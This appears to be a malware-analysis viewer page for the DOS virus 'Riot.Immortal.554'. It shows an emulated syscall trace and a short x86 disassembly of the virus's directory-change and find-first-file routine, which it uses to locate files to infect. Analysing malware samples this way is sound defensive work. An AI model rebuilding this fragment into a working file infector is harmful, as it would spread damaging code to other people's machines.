Sample viewer

vx.netlux.org/Virus.DOS.Riot.Immortal.554

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T21:59:49.979129824Z 48 PC: 12b4e | Get DOS version
2018-12-17T21:59:49.980925373Z 44 PC: 12b56 | Get time 0x12b56: add dh, cl
0x12b58: mov word ptr [0x103], dx
0x12b5c: mov dx, 0x15e
0x12b5f: mov ah, 0x1a
0x12b61: int 0x21
0x12b63: mov ah, 0x19
0x12b65: int 0x21
0x12b67: mov dl, al
0x12b69: inc dl
0x12b6b: mov ah, 0x47
0x12b6d: mov si, 0x1bd
0x12b70: int 0x21
0x12b72: mov dx, 0x15c
0x12b75: mov ah, 0x3b
0x12b77: int 0x21
0x12b79: mov cx, 0x13
0x12b7c: mov dx, 0x154
0x12b7f: mov ah, 0x4e
0x12b81: int 0x21
0x12b83: cmp ax, 0x12
2018-12-17T21:59:49.982605921Z 26 PC: 12b63 | Set disk transfer address
2018-12-17T21:59:49.983587983Z 25 PC: 12b67 | Get default drive
2018-12-17T21:59:49.98495836Z 71 PC: 12b72 | Get current directory
2018-12-17T21:59:49.987112526Z 59 PC: 12b79 | Change current directory
2018-12-17T21:59:49.990455731Z 78 PC: 12b83 | Find first file
2018-12-17T21:59:49.995345497Z 76 PC: 12ca5 | Terminate with return code (Return code = '0')